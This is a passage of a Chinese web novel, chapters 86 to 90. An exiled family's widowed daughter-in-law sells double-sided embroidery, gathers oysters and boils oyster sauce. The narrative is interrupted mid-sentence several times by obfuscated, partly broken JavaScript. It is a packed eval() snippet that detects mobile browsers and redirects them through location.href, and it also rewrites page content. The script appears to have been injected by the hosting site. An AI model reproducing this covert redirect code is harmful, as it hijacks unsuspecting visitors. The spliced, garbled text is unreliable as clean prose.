“佟管事,约定好今日拿双面绣荷包的,现在你跟我说,路不通?不能去拿?” 宋明珠开开心心的来拿双面绣荷包,府城那边绣好的双面绣荷包,一定能让她明天在及笄宴上长脸的! 谁知道,佟管事跟她说,从县里去安南州的路,居然断了。 送不过来。 “宋小姐。” 佟管事的身子都鞠躬成直角了,她歉意的说:“对不起,为表歉意,我们绣楼愿意赔偿。” “你觉得我缺钱吗?” 宋明珠气的脸都黑了,声音都不自觉的扬高了几个调,道:“对不起有什么用?我需要双面绣荷包!” “宋小姐,明天,明天或许路就通了呢?” 佟管事都急的不行,谁知道,水突然涨了,原来走河床能过来的,现在要绕路了。 这一绕路,原定今天给的荷包,就给不出来的。 “你的意思是,让我明天来等荷包?” 宋明珠眼皮子一掀,冷声说:“今天,我必须要见到双面绣荷包,否则……” “宋小姐,您先坐着,吃些点心,我再去看看。” 佟管事都发愁,连忙出去打发人,再去托人去看看,绕路的话,今天晚上能不能送过来。 “佟管事,这荷包已经掉水里打湿了,明天,上哪找荷包去?” 月娘小声的说着,路不通是真的,绕路也是真的,但他们收到的消息时,马车滚落,东西都洒了一地,原定绣好的荷包,也掉进了水沟。 “宋小姐非要这荷包,应该是为了明日的及笄宴,若是真找不到,只怕……” 佟管事的心不断的往下沉,宋明珠身份不一般,若真闹起来,影响的是绣楼的生意。 “月娘,上次接了双面绣的那位程娘子,你可知道她住在哪里,能不能找到人?” 佟管事也是病急乱投医了,问:“想法子找一找,那日她接双面绣荷包,说不准,真的就绣成功了呢?” “我,我不知道啊。” 月娘摇了摇头道:“我只知道她住在归化里村,但,归化里村人这么多,要不,我现在找人去打听?” 月娘也急了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262354|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,洪记绣楼有佟管事在,她在这里干活,才舒服安稳,若是换做别的管事,她的日子可不好过。 月娘正着急想让人去归化里村打听呢,突然,看到绣楼门口的那一抹身影时,就像是见到了救星一样! “程娘子!” 月娘激动的上前道:“程七七,双面绣荷包,你绣好了吗?” 月娘的目光紧紧盯着程七七,眼中的期盼十分的明显。 “好了。” 程七七看着月娘激动的模样,心念一动,抬头看向了二楼。 “是你啊。” 宋明珠站在楼上的栏杆边上,一眼就认出了程七七,她道:“这是准备来给我磕头了?” 拿不到双面绣荷包,宋明珠的心里,正烦燥着呢,因此说话的语气,也是格外的不好。 磕头? 柳素仪牵着靳岁安,目光担心的看着程七七。 “双面绣的荷包已经绣好了,宋小姐可要准备好银钱和彩头了。” 程七七直接从包袱里拿出绣好的荷包,用料讲究,配色也好看! 特别是那栩栩如生的蝴蝶,就像是真的要展翅高飞,让人一看就移不开眼。 “你,你真绣出来了?” 宋明珠一把夺过荷包,扯开一看,果然,外面是蝴蝶,内里是漂亮的芙蓉花,打开荷包拿银子出来的时候,芙蓉花恍若悄悄盛开。 “这……” 宋明珠看了又看,针脚细密根本看不出来,就连配色也是她喜欢的。 “不错。” 宋明珠高兴了,明天的荷包,有着落了! “丹若,给钱。” 宋明珠高高兴兴的拿着荷包,脸上的笑容都开心的不行。 程七七看到一千文钱,一边数,一边看向了月娘。 月娘道:“宋小姐,上次您说……若是绣成了就送三梭布,不知道宋小姐是要几尺三梭布?” 拿着荷包的宋明珠还没回答,一旁的程七七道:“月娘,宋小姐可是大家闺秀,名门千金,真要拿来做彩头,怎么可能才几尺三梭布,太掉宋小姐的档次了。” 程七七笑盈盈的,一字一句的说:“那必须是一匹布啊。” 第86章 娘也不能给你拖后腿 “给她一匹布。” 宋明珠看在这只漂亮的双面绣荷包的份上,也懒得跟程七七的小心思计较着,她道:“有没有兴趣继续绣双面绣的扇子?” 这春天到了,夏天还会远吗? 要是有一柄双面绣的扇子,那拿在手里,也是格外的显眼的。 “好啊,宋小姐大方,出手阔绰,肯定不会让我们小绣娘亏了是不是?” 程七七笑的眉眼弯弯的,送上门来的银子,不赚白不赚。 “扇面的话,也是一千文钱一柄,我想要五柄。” 宋明珠开口,她想要集齐几种她最爱的花。 “交货时间呢?有彩头吗?” 程七七问。 “我们又不打赌,要什么彩头?” 宋明珠看着程七七的笑容,莫名的有一种自己成了冤大头的感觉,她话锋一转道:“立夏之前给我就行,若是你做成了,本小姐就再赏你一匹三梭布。” “成交。” 程七七立刻说着,道:“月娘,麻烦你帮忙再立一个契书。” “对了,宋小姐,那花样你可有选好?到时候,不会特意为难我们,选一个不可能的花样吧?” 程七七补充了一句,虽然宋明珠看起来很喜欢双面绣,但,谁知道宋明珠会不会故意刁难? 毕竟像宋明珠这样的千金大小姐,想要刁难起人来,法子可是多的是。 “你……” 宋明珠听着这话,忍不住想要拿鞭子**了,她没好气的说:“只要能保持这样的水准,就可以,就你……有什么值得我为难的?” “七七,宋小姐一看就知书达理,与这不争春不抢夏的芙蓉花相得益彰的,又怎会故意为难你呢?” 柳素仪上前一步,道:“宋小姐可将喜欢的花样送过来,到时候,我一定替宋小姐将扇面绣的漂漂亮亮的。” “哦,这是你绣的?” 宋明珠这会才注意到一旁的柳素仪,一身普普通通的棉布衣裳,头发上就挽着一根木簪子,素净的脸上,和她刚刚那一番话,倒是显得有些格格不入的。 “你是谁?” 宋明珠打量着她,这一家子人长的都挺好,看起来都不像是她见过的乡下姑娘。 “我只是一个小小的老百姓,喜爱绣花罢了,春天到了,宋小姐可要裁新衣?除了绣活,我还会裁新衣,宋小姐五官生的好看,若是换一身豆粉色的衣裳,定会更加的光彩照人。” 柳素仪说起裁衣,那叫一个头头是道,别说宋明珠了,就是程七七在一旁听的都是晕晕乎乎的。 直到离开绣楼,程七七看到柳素仪凭本事又挣了一套衣裳钱,忍不住竖起了大拇指道:“娘,你可真厉害!” 刚刚柳素仪捧着宋明珠时,程七七忽然觉得,自家婆婆也是能屈能伸的! 曾经的侯府主母,别说宋明珠了,怕是给连面都见不着她的。 可柳素仪的身份转换之后,还能哄着宋明珠? “七七,你已经替我们铺好了路,娘也不能给你拖后腿。” 柳素仪轻拍着她的手:“你给我们接绣活,也不容易吧?” 刚刚那个宋小姐的态度,就已经很能显示出来了。 “娘,不过是几句不好听的话,只要能挣钱,让她说几句,也掉不了几块肉的。” 程七七才不在乎这些呢,她道:“娘,这次五柄扇子,再加上屏风,衣裳,你能绣得过来吗?” 孟静瑶,李氏和林惠兰她们送的屏风绣的不错,又继续接了四幅。 她们也就算了,可柳素仪绣扇子,还要裁新衣…… “扇子立夏之前交货,时间还很长,裁新衣就更简单了。” 柳素仪从小到大,闲着没事的时候,就喜欢做这些,她道:“走,娘今儿个挣了钱,买肉,今天我们做红烧肉吃!” “谢谢娘。” 程七七也没有再多问,柳素仪也想挣钱,那她自然是不会制止的! 柳素仪格外大方的买了两斤肉,又买了别人都不喜欢的猪下水。 七七爱吃这个。 而且,除了想着这个东西不怎么好这外,卤的猪下水,味道还是很不错的。 回到家里,孟静瑶、李氏和林惠兰都迫不及待的找了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262355|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,见着柳素仪一回来,便迎了过来。 “唉。” 柳素仪直接叹了一口气。 孟静瑶三人的心里不由的一个咯噔,林惠兰道:“难道我们绣的屏风有问题?不可能啊,绣的那么好看,线头都看不出来,除非他们故意刁难!” 林惠兰对自己的手艺那是十分有信心的。 “二嫂,是不是绣楼那边……为难你们了?”李氏虽然没去过,但也能猜得出来。 哪怕程七七在糖坊里也成了东家之一,大家看着程七七热情如火,但背地里,也会说程七七是一个寡妇! 而她们,又是流放的犯人。 “现在我才知道,七七去绣楼接活,也是要看脸色的。” 柳素仪连真带假的,把宋明珠这位大小姐的事情说了,她道:“也幸好绣楼的管事都不错,不然,我们这次怕是做不了了。” “七七,要不,我们多给点钱吧?” 孟静瑶不好意思的说着,之前她们还小肚鸡肠,觉得不就是接一个活吗? 现在,她觉得,这去绣楼接活,也不容易,还要看脸色之类的。 “不用,现在这样就很好。” 程七七也没有多说,只是默默的岔开了话题:“娘,这次接的活,你来分吧。” 自家婆婆替她撑腰,她自然是不会拆台的。 柳素仪见好就收,立刻就开始分配了,八个屏风,一人两个。 五柄扇子,肯定都是她来做的,至于衣裳,她道:“宋小姐需要春衣,我想着,我们是不是可以一起裁一身?” “到时候这衣裳要是做的好了,我们说不定,还能跟绣楼合作。” 柳素仪今天特意提起这事,也是存着这一份心思,让绣楼看到她们的重要性! 或许,以后长期合作,她们在家里做绣活,也不用担心挣不到钱了。 程七七站在一旁听着,婆婆不愧是侯府主母,想的事情就是长远,她只想着从绣楼接点活,自家婆婆就已经想着跟绣楼合作了? 后宅困住了婆婆,现在,婆婆这绣活的事业,说不定还能更上一层楼呢? 第87章 这怎么不算福利呢? “七七,你的厨艺,真是越来越好!” 晚饭,吃的是柳素仪今天买的五花肉,炖出来的五花肉,浓油赤酱的,别说肉了,就是红烧肉的汤,都能拌上两碗米饭的。 “这卤的猪下水,越吃越有味。” 柳素仪最开始是嫌弃猪大肠的,可是现在,柳素仪就喜欢吃卤的猪大肠。 唯一不好的就是,清洗起来,特别难。 “谁说猪大肠臭,不好吃的?” 忠勇侯打趣的说着。 柳素仪一脚踩了过去,面不改色的说:“那肯定是你听错了,明明是林惠兰说的。” 一提起林惠兰,忠勇侯的脸色瞬间就变了,他‘嘿嘿’一笑,道:“素仪,是我记错了。” 程七七低头默默跟着靳岁安一块吃饭。 没了侯府的几处院子,柳素仪和林惠兰这主母和妾室,抬头不见低头见的,她都撞上好几次,林惠兰朝着忠勇侯抛媚眼了。 “娘,我想嘘嘘。” 靳岁安小声的说着,程七七立刻抱着女儿就跑了,这饭再吃下去,她太尴尬了。 …… 天际泛起了鱼肚白,程七七坐着板车,一路走到了海边的小渔村,安厝村。 一望无际的大海,小渔村不远处,都是礁石滩,退潮之后,全部都露出了沙滩。 “这,也太美了。” 柳素仪活了半辈子,还是第一次见着蔚蓝的大海呢。 “要不是被流放,恐怕这辈子,都见不到这么漂亮的大海了!” 程七七张开双手,略带着腥咸的海风吹来,有些寒冷,但,却又不冻人。 “那也是我们一家子运气好,有福气,你又让人准备了这么多吃食,否则,我们也撑不到岭南。” 婆婆靳老夫人身体好之后,跟村里的老人都混熟了,说像他们靳家这样,一大家子流放,全员一个没少,平平安安抵达的,那真是没见过。 大多数犯人抵达岭南之后,有些死伤惨重的,十不存三。 甚至是一个女眷都没有到达岭南。 要么,就是孩子没有活下来! 柳素仪听到婆婆说这事的时候,就格外的庆幸,他们一路上,别说女眷了,就是男丁也是病了。 但程七七总是能找到草药,要么就是能找到一些食物…… 就这样,大家一路撑,一路扶持着,平安的抵达了岭南。 “娘,肯定是世子在天有灵,保佑我们都平平安安的呢。” 程七七微笑的说着。 “你说的对。” 柳素仪双手合十,朝着天空看去,低喃道:“墨儿,一定要保佑我们全家平平安安,保佑安安平平安安的长大,保佑你媳妇七七平安顺遂。” 以后,再遇良人。 拎着木桶过来忠勇侯听着她们婆媳两个人的话,嘴角不由的直抽抽,儿子都还没死,哪来的在天之灵? “素仪,七七,刚刚里正跟我们说了,大退潮的时候,大家都可以来捡海货,捡到的都归自己。” 忠勇侯拎着木桶递上前,还有自制的铁夹子道:“像螃蟹这样会咬人的,就拿铁夹子夹。” “七七,你拿着用。” 柳素仪直接将铁夹子给了程七七。 “谢谢爹娘。” 程七七也没有客气,她对赶海还是很有兴趣的。 退潮之后的沙滩上只有一些小小的水坑,他们为了来赶海,特意找村民们买了旧油鞋,虽然是旧的,但内里再套上一双袜子,倒也不嫌弃。 只要能赶海,程七七是半点都不嫌弃的。 “这是什么?” “这个是蛤蜊吗?” “……” 程七七为了不懂装懂,也是累的很,一路问了下来,她才发现,这古代赶海,比现代的海货,似乎还要多呢,程七七都没挪动几百米,水桶里,都已经装满了丰盛的海货了! 海蛎都挖了一桶了。 “阿榕嫂,这些能值多少钱?” 程七七正巧看到一旁捡鱼的阿榕嫂,好奇的问了一句。 阿榕嫂看了一眼,道:“你这也没多少,值个**文钱吧?” “啊?” 程七七下巴都快惊掉了,道:“阿榕嫂,你的意思是,我这一桶的海蛎只值三文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262356|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱?” 她这一桶海蛎,怎么也有个七八斤吧? “大退潮的时候,这个大家都不捡,捡鱼好,做咸鱼,晒干卖钱。” 阿榕嫂笑着说着,她儿子能进糖坊干活,全靠程七七,阿榕嫂也乐得解释道:“这些海货都运不出去,卖不了几个钱的。” “……” 程七七的热情和兴奋,瞬间减退了不少,但很快,她又打起精神来了,不值钱好啊,她可以随意的捡。 对于爱吃海鲜的程七七来说,这怎么不算是一种福利呢? “七七,这里好多,捡不完啊。” 柳素仪蹲在一处地方,一桶装完了,都没捡完。 “我来了。” 程七七兴冲冲的过来,铁夹子根本没派上用场,这会哪里还顾得上,浅浅的海水有些凉,她满脑子只有一个想法,带走,全部都带走! “七七,我们还要吗?” 忠勇侯等人带来的大缸都已经装的满满当当了,可程七七还在捡海蛎的兴奋之中,根本停不下来。 “要,爹,我们全部都带回去。” 程七七已经开始想美味的蚝油了,海蛎也可以熬出蚝油来的,蚝油炒白菜那味道,都能鲜掉眉尾。 蚝油若是好好保存,几个月都不会坏,这要是运到内陆去,那岂不是又是一个大赚特赚的好法子??? “行。” 忠勇侯也没多问,招呼着捡鱼的靳家男丁,一边往回送货,一边又继续开始捡海蛎子了。 程七七抬头,心里暖暖的,等着柳素仪和忠勇侯在身边的时候,她小声的说:“从前我听爹娘说过,这些可以熬出很鲜的油,我想试试。” “那就多带点走,庄里正说,今天傍晚会涨潮,到那时,我们再离开。” 忠勇侯立刻说着,板车还没来,就将捡到的海蛎子,堆放在他脱下的衣服上,一桶、一桶又一桶的。 就连柳素仪也是一趟一趟又一趟的,完全相信她的话了。 “爹,娘,你们就不担心我做不出来吗?” 程七七忽然就觉得压力很大,被他们这样信任,万一她做砸了,岂不是浪费了? 第88章 沾了蜜糖一样 “这些东西听说不值钱啊,你们搞这么多回来做什么?” 林惠兰一见着那堆成山似的海蛎,起初她还以为值钱呢,高兴的不行,闻着海蛎的腥味,都觉得是铜钱的香味! 可一问才知道,这么多的海蛎,一文钱一斤…… 林惠兰瞬间就觉得这些东西又腥又臭了! 还不如鱼呢,起码用粗盐腌制一下,还能卖不少钱。 “老爷,我看别人都是捡鱼的。” 林惠兰主动将她打听的事情说了:“买便宜的粗盐来腌制,一二文钱的鱼,都能卖十来文呢!” “这一筐,难道不是鱼吗?” 忠勇侯扫了旁边的筐一眼,一筐一筐的鱼,大大小小的,大多都没见过的鱼,但,鱼都差不多,吃起来,味道应该也是不错的吧? “行了,赶紧的,把这些海蛎肉都挑出来。” 忠勇侯吩咐完之后,就带着靳砚之他们几个上山捡柴了。 趁着天还没黑,继续干活。 “林姨娘要是不想做的话,也可以不做的。” 程七七故意这么说着。 “做,谁说我不做了?” 林惠兰一咬牙,坐了下来,就开始挑海蛎肉了。 开壳取肉,费时费功还费手。 林惠兰没挑多少,就开始担心她的手了:“我这手,以后还能绣花吗?” “……” 大意了。 程七七立刻道:“娘,你们还是别动了,万一伤着手了,可就不能绣花了。” 八扇屏风,五柄扇子,还有以后接绣活挣钱,靠的可不就是她们这一双手? 程七七:“……” 大意了。 “林姨娘这手那可得好好护着,万一以后绣不了花了,可不能怪到我头上哦~” 程七七立刻拿掉了林惠兰手里的海蛎,这可千万不能让林惠兰再碰了,否则,她这小肚鸡肠的,怪罪到她身上怎么办? “七七,你不用担心,等你爹回来,让他们来干。” 柳素仪安慰着,看着那么多的鱼问:“七七,这些鱼怎么办?” “那晚上就吃杂鱼鱼汤,海蛎煎。” 程七七想到以前在网上看过的海蛎煎,一点点海蛎肉,再来上一点红薯粉,再加上豆芽、鸡汤,那味道可好了! 于是,程七七决定,晚上就开始做这个。 “七七,那晚上一起吃饭?” 林惠兰一听这话,立刻道:“今天大家一起捡海货,当然是……”一起了。 林惠兰做了这么久的饭菜,还是很难吃。 别说儿子了,就是林惠兰自己都不想吃。 “那不行。” 程七七拒绝的十分果断,她摇头道:“林姨娘你们人少,我们人多,这对你们来说不公平。” 话落,程七七挑了十来条鱼,就进厨房了。 她准备做杂鱼汤,手起手落的将鱼处理干净,将鱼煎的两面金黄的,下滚烫的开水煮,没多大一会,牛奶一般的鱼汤便出来了。 海蛎煎,程七七则是偷偷从空间里拿了一点红薯粉出来,反正,到时候她就说,以前存的。 今天这海蛎煎,必须得吃上。 进了糖坊之后,家里的鸡蛋多了不少,程七七还放了两个鸡蛋进去,煎了满的一盆子海蛎煎。 “安安,快尝尝,味道怎么样?” 程七七掰了一块给女儿尝尝鲜。 “好吃。” 靳岁安非常给面子的说着,眼睛都笑得眯了起来,朝着她竖起大拇指:“娘做什么都好吃!” “我们安安的嘴呀,真是沾了蜜糖一样!” 程七七捏了捏女儿的脸,女儿的情绪价值,真是给的满满的。 “那是因为娘做的真的,真的,很好吃!” 靳岁安一本认真的回答着,那双圆溜溜的大眼睛看着程七七的时候,满满的都是真诚。 “亲一个!” 程七七忍不住亲了亲女儿香香软软的小脸,道:“我们安安等会喝鱼汤,长高高哦~” “安安要长高高,保护娘。” 靳岁安张开手,抱着程七七在她的脸上亲了一口,脆生生的话语,更让程七七开心。 “那娘可就等着了。” 程七七抱了抱女儿,这才端着晚饭上桌了,又收获了靳家人的夸夸夸…… 靳老夫人:“鱼汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262357|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜美,比京都的醉仙楼还要好。” 忠勇侯埋头干饭,用实际行动说话。 柳素仪道:“七七,这个海蛎煎是放了什么粉吗?味道不像面粉。” “是红薯粉,之前留下来的,一直没吃。” 程七七留了满肚子的话,想要解释红薯粉是怎么在流放的时候都没用的,谁知…… 柳素仪根本没问,一个劲的夸好吃。 …… 隔壁,靳砚之吃着杂鱼汤,刚喝一口,差点没忍住吐了出来:“小娘,你这鱼汤怎么这么腥啊?一点香味都没有。” “还有这海蛎煎?这黑漆漆的,真的能吃?” 靳砚之的眉头蹙的都能夹死蚊子了,眉眼之中的嫌弃,那叫一个明显。 “就是啊,小娘,你这做的也太难吃了,这么好吃的鱼,还有海蛎,我们这……不是浪费了吗?” 靳雪儿也是嫌弃的说着。 林惠兰看着一双儿女,本来就因为忠勇侯的事情,心里憋闷着呢,这会她筷子一放:“爱吃不吃。” 林惠兰低头喝鱼汤,压下喉间的腥味,这总是荤菜! 夜,月光如流水一般,洒落在院子里。 靳家的院子里,靳家的男丁们这会闲着没事,都在开海蛎。 知道程七七要海蛎之后,他们今天捡了杂鱼之后,就都开始捡海蛎了。 最后,院子里堆了满满的海蛎,开壳取蛎那都是不容易的。 “海蛎子我准备熬油,不知道能不能成功。” 程七七看着靳家人这么相信她,特意解释了一下。 “七七,成不成的,我们试试,反正这些东西,又不费钱,只是费些工罢了。” 忠勇侯开口,靳砚之第一个附和道:“对啊嫂子,我们是一家人,干这些活也是应该的。” “嫂子,我小娘知道错了,以前是我们太斤斤计较了,我小娘给你道歉,以后,我们能不能一起吃饭?” 靳砚之实在是受不了了,林惠兰做的饭他吃不下。 “爹,我们知道错了,以后,肯定会改。” 靳砚之站直了身子,认认真真的说着。 林惠兰:“……”她什么时候说要认错了? 第89章 能解酒,又是挣钱的路 “别想!” 忠勇侯没好气的开口,道:“砚之,你年纪也大了,应该知道,人要为自己做的事情负责。” “既然分开吃饭了,那就分着吧。” 忠勇侯开口道,别说程七七了,就说素仪,这天天一块吃饭,肯定也不行的。 “爹,小娘也是你的姨娘,我们是一家人。” 靳砚之着急的开口,疯狂的朝着林惠兰使眼色,林惠兰垂着眸子,她才不要求柳素仪呢! 她们娘三个一起吃饭,也没什么不好的。 “行了,这事就别提了。” 忠勇侯道:“你好好卖酸菜,走正道!”别再像以前一样天天喝花酒就行。 “哦。” 靳砚之知道亲爹不会让他们回来一块吃饭的时候,整个人都耷拉了起来,亲娘做的饭菜,实在是太难吃了。 “爹,你放心,我肯定以后好好干。” 靳砚之又重新燃起了斗志,想:只要他好好干活,爹总会对他刮目相看的! 至于吃上嫂子的饭菜,难道,真要听靳礼之的? 靳砚之若有所思,刚回到房间,林惠兰一巴掌就拍了过去:“靳砚之,你就这么嫌弃我做的饭?明天你自己做,自己吃!” 话落,林惠兰气的转身就回屋了,这还是她亲儿子呢! 气死她了。 林惠兰回到屋子里,一直在等,等着靳砚之过来道歉,谁知道,听到院子里干活起劲的靳砚之,顿时更气了! “靳雪儿,你这衣服能不能别乱丢?” 林惠兰心中有火没处发,顿时就瞪了一眼靳雪儿。 “小娘,哥嫌弃你做的饭,又不是我嫌弃?” 靳雪儿抱着衣服放进箱子里,直接往床上一躺。 林惠兰骂骂咧咧的。 隔了客厅的房间,程七七哄着女儿睡着了,她抬头看着那屋顶的明瓦,隐约能听到林惠兰骂骂咧咧的声音,她的唇边勾起一抹冷意。 她能不计前嫌的让林惠兰接绣活挣钱,已经是很大度了。 让她天天做饭给林惠兰吃? 想屁吃。 夜,渐深了。 程七七悄悄起身,跟柳素仪一起,开始熬蚝油了。 近五十斤的海蛎肉,靳家这么多人齐心协力的,这才煮上了满满的一锅。 “就这样一直煮,会不会煮到最后,什么都没了?” 忠勇侯一直烧火,看着锅里的海蛎子一直在熬煮着,程七七拿着锅铲,不停的搅动着,她道:“会像糖一样,最后熬成蚝汁。” 程七七也是第一次做,因此这锅铲用的时间久了,就累的不行。 靳三爷主动道:“七七,那我来动铲子,就跟熬糖一样吧?” 靳三爷在糖坊,也没有白干的,光看都看会了。 “行。” 程七七也不想干了,这手都酸得不行了! 估摸着半个小时的时间差不多,程七七就让人将煮熟的海蛎子肉,全部都捞了出来,道:“这些明天晒一晒,还可以做蚝酱!” 她觉得生蚝和海蛎子长的差不多,她是分不清的。 “三叔,锅里的汁水,一直小火熬,一直熬。” 程七七盯着锅里的蚝汁,现在还跟水一样呢。 “那,需要跟糖一样慢慢熬?” 靳三叔看着锅里的蚝汁,想到熬糖的时间,他已经做好了一晚上不睡觉的准备了。 “对。” 程七七点头道:“要将这一锅汁熬的浓,才会好吃!” “没问题。” 靳三叔说着,时不时的搅动一下锅里,生怕烧锅了。 靳砚之守着锅前:“嫂子你放心,我就一直保持着锅里,都是小火。” “辛苦你们了。” 程七七也守在一旁,时不时的盯着锅里的蚝汁。 “七七,让他们去做,你早些去睡。” 柳素仪打着哈欠,这夜里露重,程七七又是一个妇道人家。 “七七,你去睡吧,熬成糖那样,我知道是什么样的。” 靳三爷开口。 忠勇侯也这么说着。 程七七:“行。” 程七七很晚才睡下,等到天还没亮,她就起来了,厨房里,还有着莹莹的亮光,除了锅里还在煮着蚝汁之外,另外一口锅,已经熬煮了两锅香浓的粥了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262358|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 加了一点点糯米的粥,煮的开花了,香浓又好闻。 厨房里,靳三爷就靠在灶边,时不时的搅动一个锅里熬的很浓的蚝汁了! 忠勇侯和靳四爷靠在柴垛子旁边打盹,一看就是三个人轮流看锅呢。 靳礼之和靳砚之两个人已经忙碌着包酸菜包了,旁边的篮子里,已经装的满满的酸菜包了! “爹,三叔,四叔你们昨天辛苦了。” 程七七出声,走到接过了靳三爷手里的锅铲道:“你们去休息吧。” “蚝汁熬的很好,再熬上一些时间,就行了。” 程七七用锅铲动了动,很快,就发现公爹和靳三爷他们熬的很好,一点都没有烧焦,浓稠的马上就要成功了! 她倒了一些酱油上色,然后就找了两个干净的坛子,烘干了水份,这才将趁热将蚝汁装进坛子,她道:“今天晚上,给大家做蚝汁白菜。” “嫂子,我能吃吗?” 靳砚之一听吃的,顿时两眼放光,熬了一晚上的红眼睛,这会也不困了。 “能。” 程七七看着靳砚之眼睛里的红血丝,他们熬了一个晚上,没道理不能吃的,她道:“今天晚上,大家一块吃吧!” “菜凑一凑,也够了。” 程七七忙碌了一早上,靳砚之和靳礼之已经带着熬好的两锅粥和酸菜包就去县里卖了,每天卖个半天,下午去后山砍柴,日子过的充实又快乐。 程七七去了糖坊忙碌了一圈,如今糖坊,几乎是上了正轨了,标准的制糖方法,她都已经传授下去了。 “七七,你这个白萝卜甘蔗水,还能解酒呢!” 冷婆子见着程七七过来,连忙说道:“昨儿个,冷焦他们去卖白甘水的时候,正好碰上一位衙役醉的不行,然后喝了我们的白甘水,居然醒酒了!” “那个衙役头不疼了,脑子也不晕乎了,还夸我们的白甘水好呢!” 昨天冷婆子就想跟程七七说了,但,程七七他们昨天去赶海了,冷婆子就一直忍着今天早上来找程七七。 “这样的话,我们的白甘水,可以放一些到酒家那边卖,说不准,每天也能卖出不少呢!” 冷婆子一想着能挣钱,浑身都充满了干劲。 第90章 重山回来了 “那挺好的,以后,多煮一点水,放到酒家那里,卖多少都是捡来的。” 程七七微微点头,反正靳祠之负责记账,冷家、村子里,靳家,那账目,还是得记得清清楚楚的! 白甘水,也就是他们的甘蔗和白萝卜水,简单的取了一个名字,就特别的好记了。 “对。” 冷婆子笑的眼睛都眯了起来,可不就是多少都是挣的? 下午,程七七看着糖坊的出糖量又多了不少,心情也是格外的愉悦。 回到家里,程七七就开始准备着蚝汁白菜了。 加了蚝汁一炒的白菜,那鲜味,一下就上来了,程七七尝了之后,咸香鲜甜,觉得很是成功的! 昨天买了没吃完的肉,再炖上,也加了一点。 晚上就一碗土豆炖小肉丁,一个蚝汁白菜。 两盆子满满的菜,里面的肉味,也是很香的。 “这是白菜吗?” “比平时吃的好吃。” “七七,你这厨艺越来越好了。” “……” 靳家人你一言我一语的夸赞着,唯有靳砚之埋头干饭! 自从有物资之后,每天晚上,都能吃上一顿白米饭,今天一个土豆小肉丁,土豆软糯,小肉丁香的很! 他最不喜欢的白菜,居然也吃出了不一样的感觉。 香。 一辈子能吃上嫂子做的菜就好了! 靳砚之满脑子只有这么一个想法。 盆子里别说菜了,连最后一点汤汁,都被拿来拌米饭吃光了。 “七七,难道这白菜,就是加了你今天早上熬的蚝汁?” 忠勇侯擦了擦嘴,似乎还在回味着蚝汁白菜的味道呢。 “对。” 程七七点头,蚝油本来就咸香,放在现代,那也是一个很好的调味料,更别说古代调料很缺的时代了。 “爹,你说,这个蚝油,拿去卖,能卖到钱吗?” 程七七问。 “肯定能。” 靳砚之连想都没想,直接开口。 “七七,你这个蚝油,可以保存多久?” 忠勇侯问出关键的问题,道:“蚝油很新鲜,放在京都,那也是能卖得起价的,就是这路上,时间太久。” “只要我们密封装坛,好好保存的话,最少可保到夏天之前不坏。” 程七七说了一个保守的数字。 现在才刚刚过完年,到夏天之前,也就是最少有五个月的时间。 “庄里正今日说,海蛎子从冬至后,就是最肥美的季节,马上,海蛎子就要没了,明天,就去收海蛎子。” 忠勇侯立刻开口道:“七七,这蚝油生意,你想怎么做?” “拉着村里人一起做。” 程七七没有考虑,直接将她的想法说了出来道:“爹,海蛎子是海边不要的,但,谁能保证,看到我们挣钱之后,村里人不会眼红呢?” “海蛎子也就只有这么一两个月的时间了,熬煮的时间也长,若是被这么一耽误,生意怕是也要耽误了。” 